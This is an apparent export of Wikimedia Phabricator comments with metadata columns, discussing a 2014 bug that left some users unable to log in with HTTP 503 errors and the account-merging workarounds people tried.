2. Also, is there some ""login unification"" (?) policy preventing users to create new account say in French wikipedia, if the same account is used in some other wikipedia? I.e. I have just tried to create new account User:Paju in fr.wikipedia and uk.wikipedia, but that is not allowed. My intention was to try to create and delete global account for user Paju, based from one of these new accounts, and see if this helps fi.wikipedia user:Paju to relogin. During last 12...13 days relogin has not been possible, causing edition activity to drop 90% or more. Making the participation more difficult (this software bug does that) evicts volunteer users away from wikipedia. 

The error message was similar as reported by User:Scriber_en earlier, in French: ''Erreur lors de la création du compte. Le nom « Paju » est trop similaire à l’utilisateur suivant :  Paju. Veuillez choisir un autre nom.'' (Error creating account. The name ""Paju"" is too similar to the following user: Paju. Please choose another name.) 

So far, there is no User:Paju in French nor in Ukranian wikipedia. In other projects, there are already more than one users (persons) with Paju account. I would not mind if there were more users with this username in the future. As an example, somebody from the city of Paju in South Korea, could create username Paju to be used in ko.wikipedia. The whole ""login unification"" approach, forcing users to ""put all the eggs in one basket"" appears to me as an oligarchic/ maintenance driven approach. I found this approach also risky (dangerous) for writers from/or writing about totalitarian countries. Already now network activities are heavily censored there. Writing to non-local wiki allows expressing issues which might be risky to write in ""local"" wiki project. If ""login unification"" is a voluntary approach just for those users who wish to protect their username forever in the whole universe, it might be ok in some limited cases. But trying to force all users to give up or take over their username identity globally, especially if they have no intention to do so or if there are several users with the same username, is absolutely not an acceptable approach. ",,,1418767842,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1.2,0.4,0.2,1.0,0.8,8.2,1.6,0.0,0.0,1.4,3.8,0.4,0.0,0.0,1.0,1.2,0.4,5.2,12.6,0.4,2.8,0.0,0.0,0.4,1.0,0.2,0.0,0.4,0.6,0.2,0.4,4.6,0.4,0.2,1.2,0.0,0.2,0.0,0.6,0.4,0.4,0.6,0.6,2.0,0.0,0.8,0.0,0.0,0.0,13.8,0.6,1.0,0.0,1.2,0.0,0.0,0.0,0.6,0.2,0.2,0.6,1.0,0.0,0.0,0.0,0.4,0.0,3.4,3.8,9.6,1.4,2.0,6.8,0.0,0.0,0.0,0.0,4.2,0.2,2.0,0.0,2.0,12.6,6.8,0.6,2.8,0.0,2.0,0.0,0.4,0.8,0.2,2.0,1.2,0.0,1.2,4.073088487972508,0.7381443298969073,"1. I wonder if something has been done to fix the problem ""...the failure is probably in SpecialUserlogin between lines 790-807."" reported by User:Legoktm earlier?

2. Also, is there some ""login unification"" (?) policy preventing users to create new account say in French wikipedia, if the same account is used in some other wikipedia? I.e. I have just tried to create new account User:Paju in fr.wikipedia and uk.wikipedia, but that is not allowed. My intention was to try to create and delete global account for user Paju, based from one of these new accounts, and see if this helps fi.wikipedia user:Paju to relogin. During last 12...13 days relogin has not been possible, causing edition activity to drop 90% or more. Making the participation more difficult (this software bug does that) evicts volunteer users away from wikipedia. 

The error message was similar as reported by User:Scriber_en earlier, in French: ''Erreur lors de la création du compte. Le nom « Paju » est trop similaire à l’utilisateur suivant :  Paju. Veuillez choisir un autre nom.'' (Error creating account. The name ""Paju"" is too similar to the following user: Paju. Please choose another name.) 

So far, there is no User:Paju in French nor in Ukranian wikipedia. In other projects, there are already more than one users (persons) with Paju account. I would not mind if there were more users with this username in the future. As an example, somebody from the city of Paju in South Korea, could create username Paju to be used in ko.wikipedia. The whole ""login unification"" approach, forcing users to ""put all the eggs in one basket"" appears to me as an oligarchic/ maintenance driven approach. I found this approach also risky (dangerous) for writers from/or writing about totalitarian countries. Already now network activities are heavily censored there. Writing to non-local wiki allows expressing issues which might be risky to write in ""local"" wiki project. If ""login unification"" is a voluntary approach just for those users who wish to protect their username forever in the whole universe, it might be ok in some limited cases. But trying to force all users to give up or take over their username identity globally, especially if they have no intention to do so or if there are several users with the same username, is absolutely not an acceptable approach. "
343104,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User:Pirags (also hasn't global account) also has the problem
https://lv.wikipedia.org/wiki/Vikip%C4%93dija:Kopienas_port%C4%81ls#Piesl.C4.93g.C5.A1an.C4.81s_probl.C4.93ma_Vikip.C4.93dijai

Told him, that he should try Special:MergeAccounts. Will report later, if some help is needed.

Guys, can't this be fixed?",,,1418767328,,PHID-USER-7fdpmrghqtzbasitnnk7,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,4.0,6.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.4680851063829787,0.8297872340425532,"User:Pirags (also hasn't global account) also has the problem
URL

Told him, that he should try Special:MergeAccounts. Will report later, if some help is needed.

Guys, can't this be fixed?"
342762,Certain users are unable to log into their account (HTTP 503 upon login attempt),Another case mentioned at https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=638336120#Can.27t_log_in,,,1418725314,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Another case mentioned at URL
342675,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I tried to reproduce this by creating a new user, deleting the global account, adding another local account with a different password. Then logged into the winning account. Everything works fine :(.

@Joe said ops could try to debug this if they can coordinate with someone who's account is affected.",,,1418689553,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,3.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,7.0,0.0,0.0,0.0,4.448275862068965,0.7931034482758621,"I tried to reproduce this by creating a new user, deleting the global account, adding another local account with a different password. Then logged into the winning account. Everything works fine :(.
SCREEN_NAME said ops could try to debug this if they can coordinate with someone who's account is affected."
342630,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Same for Mirzali on Zazaki Wikipedia, see last task merged into this one.",,,1418684626,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,1.0,"Same for Mirzali on Zazaki Wikipedia, see last task merged into this one."
342416,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 

Scriber set a new password, was able to login and created SUL from there - now he can login in ru.wiki, too. 

I'll try to do it for Ibidem too",,,1418661944,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,12.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,11.0,12.0,9.0,0.0,5.0,0.0,11.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,0.0,3.731707317073171,0.6951219512195121,"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 

Scriber set a new password, was able to login and created SUL from there - now he can login in ru.wiki, too. 

I'll try to do it for Ibidem too"
342415,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 

Scriber set a new password, was able to login and merged account from that new wiki for him - now he can login in ru.wiki, too. 

I'll try to do it for Ibidem too",,,1418661911,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,5.0,0.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,12.0,13.0,7.0,0.0,5.0,0.0,12.0,0.0,2.0,2.0,3.0,1.0,0.0,0.0,0.0,3.7325581395348837,0.6627906976744186,"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 

Scriber set a new password, was able to login and merged account from that new wiki for him - now he can login in ru.wiki, too. 

I'll try to do it for Ibidem too"
342412,Certain users are unable to log into their account (HTTP 503 upon login attempt),I've already done that yesterday.,,,1418661691,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,I've already done that yesterday.
342330,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#846853, @Nemo_bis wrote:
>> I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?
> 
> Try to [[https://meta.wikimedia.org/wiki/Special:CreateAccount|make a new account]] as ""Scriber"" and then [[https://meta.wikimedia.org/wiki/Special:MergeAccount|merge them]].

For Scriber we need someone who would be able to create account to him, ignoring existing usernames, and send password via email.
I could have done it technically in ru.wiki, but the nickname is already occupied here...",,,1418651059,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,14.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,10.0,8.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.098039215686274,0.8235294117647058,"QUOTE
QUOTE
QUOTE
QUOTE

For Scriber we need someone who would be able to create account to him, ignoring existing usernames, and send password via email.
I could have done it technically in ru.wiki, but the nickname is already occupied here..."
342109,Certain users are unable to log into their account (HTTP 503 upon login attempt),"
I also can't make a new account as ""Scriber"" at meta.wikimedia which is replies: ""The name ""Scriber"" is too similar to  tethe following username: ""Scrib3r"" . Please choose another name"". - So, is ""too similar to the username: Scrib3r"" - the real reason for refuse of making this new account?",,,1418575445,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,9.0,6.0,1.0,14.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.5217391304347827,0.6376811594202898,"
I also can't make a new account as ""Scriber"" at meta.wikimedia which is replies: ""The name ""Scriber"" is too similar to  tethe following username: ""Scrib3r"" . Please choose another name"". - So, is ""too similar to the username: Scrib3r"" - the real reason for refuse of making this new account?"
342106,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I can't make a new account as ""Scriber"" and then merge it with ""Scriber en"" because wikipedia replies ""Account creation error. Username entered already in use. Please choose a different name"" (account ""Scriber"" already exists in en.wikipedia).",,,1418572128,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,10.0,12.0,0.0,16.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.7058823529411765,"I can't make a new account as ""Scriber"" and then merge it with ""Scriber en"" because wikipedia replies ""Account creation error. Username entered already in use. Please choose a different name"" (account ""Scriber"" already exists in en.wikipedia)."
342091,Certain users are unable to log into their account (HTTP 503 upon login attempt),"> I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?

Try to [[https://meta.wikimedia.org/wiki/Special:CreateAccount|make a new account]] as ""Scriber"" and then [[https://meta.wikimedia.org/wiki/Special:MergeAccount|merge them]].",,,1418564736,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,16.0,2.4,0.68,"QUOTE

Try to [[URL a new account]] as ""Scriber"" and then [[URL them]]."
341968,Certain users are unable to log into their account (HTTP 503 upon login attempt),"The same problem with my original account (Scriber) on ru.wikipedia. No problem with computer or IP-adress. I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?",,,1418500662,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,15.0,6.0,2.0,4.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.7083333333333334,"The same problem with my original account (Scriber) on ru.wikipedia. No problem with computer or IP-adress. I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?"
341950,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User Pieroweert added tekst to T8450 after it was closed as duplicate. I'm copying his text here:
Have the same problem with my original account (Gebruiker:Piero) on nl.wikipedia. No problem with computer or IP-adress. Made a new account (Gebruiker:Pieroweert) which works perfectly. But I have no access to my original lists. Can not log in on Gebruiker:Piero, can log in on Gebruiker:Pieroweert",,,1418491988,,PHID-USER-74kolctr2gbwr2mtan63,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,5.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,22.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,13.0,13.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9529411764705884,0.6823529411764706,"User Pieroweert added tekst to T8450 after it was closed as duplicate. I'm copying his text here:
Have the same problem with my original account (Gebruiker:Piero) on nl.wikipedia. No problem with computer or IP-adress. Made a new account (Gebruiker:Pieroweert) which works perfectly. But I have no access to my original lists. Can not log in on Gebruiker:Piero, can log in on Gebruiker:Pieroweert"
341904,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#844938, @Umherirrender wrote:
> It seems that the login only fails on that wiki, which is the best candidat for the ""home wiki"" when a global account would be created.

If the concept of ""home wiki"" is unknown (due to T16234):
Is seems that the login fails on that wiki, which will be prefered for the global account, if there would be a user collision which can not be resolved by merging with the same email or by password.",,,1418468391,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,3.0,2.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,8.0,5.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.639344262295082,0.7868852459016393,"QUOTE
QUOTE

If the concept of ""home wiki"" is unknown (due to T16234):
Is seems that the login fails on that wiki, which will be prefered for the global account, if there would be a user collision which can not be resolved by merging with the same email or by password."
341858,Certain users are unable to log into their account (HTTP 503 upon login attempt),It's not always possible - ru:Ibidem can't create SUL due to username collision of different users.,,,1418439776,,PHID-USER-teteh3pfkf4ob5zfobjl,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,It's not always possible - ru:Ibidem can't create SUL due to username collision of different users.
341771,Certain users are unable to log into their account (HTTP 503 upon login attempt),"It seems that the login only fails on that wiki, which is the best candidat for the ""home wiki"" when a global account would be created.

Possible workaround: Use another wiki to visit [[Special:MergeAccount]] and try to create a global account.",,,1418418269,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,4.0,2.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,9.0,6.0,0.0,4.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,3.7962962962962963,0.7407407407407407,"It seems that the login only fails on that wiki, which is the best candidat for the ""home wiki"" when a global account would be created.

Possible workaround: Use another wiki to visit [[Special:MergeAccount]] and try to create a global account."
341181,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#842252, @Nemo_bis wrote:
>> User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.
> 
> This makes one think the error might be happening between line 940 and line 955 of CentralAuthUser.php...

@legoktm found log entries from line 954 in all the cases specified, so we hit that, and return false to line 80 of CentralAuthPlugin.php.

And since bad passwords are correctly handled, we likely get back to User.php line 3835. And the hash is current, so we don't need to update the password, so User::checkPassword should return true.

Since temporary passwords seem to work, but not the set password, then the failure is probably in SpecialUserlogin between lines 790-807.",,,1418322884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.5,0.0,0.0,0.5,2.0,4.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,2.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,2.5,8.0,2.5,3.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,4.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.196078431372549,0.7647058823529411,"QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME found log entries from line 954 in all the cases specified, so we hit that, and return false to line 80 of CentralAuthPlugin.php.

And since bad passwords are correctly handled, we likely get back to User.php line 3835. And the hash is current, so we don't need to update the password, so User::checkPassword should return true.

Since temporary passwords seem to work, but not the set password, then the failure is probably in SpecialUserlogin between lines 790-807."
341160,Certain users are unable to log into their account (HTTP 503 upon login attempt),"> User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.

This makes one think the error might be happening between line 940 and line 955 of CentralAuthUser.php...",,,1418320933,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.8,0.95,"QUOTE

This makes one think the error might be happening between line 940 and line 955 of CentralAuthUser.php..."
341146,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User Paju is able to login to fi.wikipedia any time, but only through password change (new temporal password requested & this is inserted & password is changed when login). Relogin with new password fails. However some front line authentication system (by Wikimedia Foundation?) seems to recognize when correct password is inserted (redirect to Wikimedia Foundation Error -message) and when incorrect password is given (normal ""Login error. Incorrect password entered. Please try again."" failure message due to incorrect passwd occurs in Finnish). User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.  